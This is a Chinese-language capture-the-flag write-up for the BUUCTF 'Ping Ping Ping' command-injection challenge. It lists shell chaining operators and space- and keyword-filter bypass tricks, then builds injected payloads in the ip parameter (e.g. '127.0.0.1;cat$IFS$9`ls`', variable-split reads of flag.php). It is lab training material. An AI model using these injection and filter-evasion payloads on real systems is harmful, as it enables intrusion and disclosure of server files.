【BUUCTF】[GXYCTF2019] Ping Ping Ping
【BUUCTF】[GXYCTF2019] Ping Ping Ping
考点
命令联合执行
;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
命令绕过空格方法有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
内联执行
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
开始解题

打开题目看到这个东西,大胆猜测这是让你在url中拼接ip参数GET类型传参
不放心就抓个包看看

确实是GET类型传参
光ping各ip可不够,这里考的应该是命令联合执行,利用;符号拼接前后命令使其能够都执行
这里我执行ls命令看看网页当前目录下有些啥,我嘞个豆,flag.php,这下不得不看看了

想要查看flag.php,但是提示我们空格被过滤掉了,立马进行绕过,试了几次后发现$IFS&1可以

不是哥们,flag都给我过滤了,这我拿头打

哎,是不是还有个index.php还没看,去看看有啥线索没有
如下是一段php代码,

代码审计后如下,可以看出来空格   bash    flag这四个字母依次匹配     & / ? * < > | ' " \ ( ) [ ] { } 都被过滤了

关键在于shell_exec这个函数
shell_exec函数执行一个系统命令,并将命令的输出赋值给变量$a
既然前面会将flag这四个字母依次匹配,那么我们将其中一个或多个字母用$a变量替换就可以绕过过滤了
至此,即可构造出payload,后面的结果都是一个个试出来的
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag
当然,一个变量也有可能被过滤,不妨多构造几个变量
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
利用payload构造url进入网页后,查看源代码即可得到flag



 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号